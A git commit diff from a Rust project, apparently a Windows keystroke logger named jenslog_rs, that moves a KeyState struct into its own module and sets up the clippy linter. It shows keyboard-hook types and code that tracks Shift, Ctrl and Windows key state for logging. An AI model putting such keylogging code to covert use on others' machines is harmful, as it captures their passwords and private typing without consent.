move keystate into own file

configure clippy linter
adjust style to linter settings

src/key/keystate.rs

@@ -0,0 +1,43 @@
+use winapi::um::winuser::KBDLLHOOKSTRUCT;
+
+pub struct KeyState {
+    pub kbdllstruct: KBDLLHOOKSTRUCT,
+
+    pub shift_down: bool,
+    pub ctrl_down: bool,
+    pub win_down: bool,
+}
+
+impl KeyState {
+    pub fn new() -> Box<Self> {
+        Box::new(Self {
+            kbdllstruct: KBDLLHOOKSTRUCT {
+                vkCode: 0,
+                scanCode: 0,
+                flags: 0,
+                time: 0,
+                dwExtraInfo: 0,
+            },
+            shift_down: false,
+            ctrl_down: false,
+            win_down: false,
+        })
+    }
+
+    /// `key_down` if the event was a keydown event, this should be true. if it was keyup it should be false
+    pub fn update(&mut self, key: KBDLLHOOKSTRUCT, key_down: bool) {
+        self.kbdllstruct = key;
+
+        match key.vkCode {
+            160 | 161 => self.shift_down = key_down,
+            162 | 163 => self.ctrl_down = key_down,
+            91 => self.win_down = key_down,
+            _ => {}
+        }
+    }
+
+    /// true if the key is an auxiliary key like shift, control or the windows key
+    pub fn is_aux_key(&self) -> bool {
+        matches!(self.kbdllstruct.vkCode, 160 | 161 | 162 | 163 | 91)
+    }
+}

src/key/mod.rs

@@ -0,0 +1 @@
+pub mod keystate;

src/lib.rs

@@ -1,13 +1,25 @@
+
+//region Clippy config
+#![warn(clippy::pedantic)]
+//disable silly rules
+#![allow(
+clippy::module_name_repetitions, //complains about function names which makes no sense, so disabled
+clippy::must_use_candidate, //no i dont wannt to add the must_use attribute to everything
+clippy::cast_lossless, clippy::cast_possible_wrap, //lossy casts are required to work with garbage WinApi
+)]
+//endregion
+
 use winapi::um::winuser::GetKeyNameTextW;
 use std::ffi::OsString;
 use wio::wide::FromWide;
 
 pub mod logging;
+pub mod key;
 
 #[no_mangle]
 pub fn scan_code_to_key_name(scan_code: u32) -> String {
     unsafe {
-        let mut out = [0u16; 128];
+        let mut out = [0_u16; 128];
         GetKeyNameTextW((scan_code << 16) as i32, (&mut out).as_mut_ptr(), 128);
         let null_pos = out.iter().position(|x| *x == b'\0' as u16).unwrap_or_else(|| out.len());
         //use to_string_lossy to avoid unicode checks for better performance. if the windows api screws up thats not my fault :P

src/logging/logger.rs

@@ -1,7 +1,6 @@
-use winapi::um::winuser::KBDLLHOOKSTRUCT;
-
 use crate::logging::loggers::{ConsoleLogger, FileLogger};
 use crate::scan_code_to_key_name;
+use crate::key::keystate::KeyState;
 
 pub trait Logger: Sync {
     fn log(&self, key: &KeyState);
@@ -26,45 +25,3 @@ impl dyn Logger {
         )
     }
 }
-
-pub struct KeyState {
-    pub kbdllstruct: KBDLLHOOKSTRUCT,
-
-    pub shift_down: bool,
-    pub ctrl_down: bool,
-    pub win_down: bool,
-}
-
-impl KeyState {
-    pub fn new() -> Box<Self> {
-        Box::new(Self {
-            kbdllstruct: KBDLLHOOKSTRUCT {
-                vkCode: 0,
-                scanCode: 0,
-                flags: 0,
-                time: 0,
-                dwExtraInfo: 0,
-            },
-            shift_down: false,
-            ctrl_down: false,
-            win_down: false,
-        })
-    }
-
-    /// key_down: if the event was a keydown event, this should be true. if it was keyup it should be false
-    pub fn update(&mut self, key: KBDLLHOOKSTRUCT, key_down: bool) {
-        self.kbdllstruct = key;
-
-        match key.vkCode {
-            160 | 161 => self.shift_down = key_down,
-            162 | 163 => self.ctrl_down = key_down,
-            91 => self.win_down = key_down,
-            _ => {}
-        }
-    }
-
-    /// true if the key is an auxiliary key like shift, control or the windows key
-    pub fn is_aux_key(&self) -> bool {
-        matches!(self.kbdllstruct.vkCode, 160 | 161 | 162 | 163 | 91)
-    }
-}

src/logging/loggers.rs

@@ -1,8 +1,9 @@
-use crate::logging::logger::{Logger, KeyState};
+use crate::logging::logger::Logger;
 use std::fs::{File, OpenOptions};
 use std::io::Write;
 use std::path::Path;
 use std::sync::Mutex;
+use crate::key::keystate::KeyState;
 
 pub struct ConsoleLogger;
 impl Logger for ConsoleLogger {

src/main.rs

@@ -7,7 +7,7 @@ use std::sync::Mutex;
 
 use winapi::um::winuser::{GetMessageW, PKBDLLHOOKSTRUCT, SetWindowsHookExA};
 
-use jenslog_rs::logging::logger::{get_logger, Logger, KeyState};
+use jenslog_rs::{key::keystate::KeyState, logging::logger::{Logger, get_logger}};
 
 lazy_static! {
     static ref KEYSTATE: Mutex<Box<KeyState>> = Mutex::new(KeyState::new());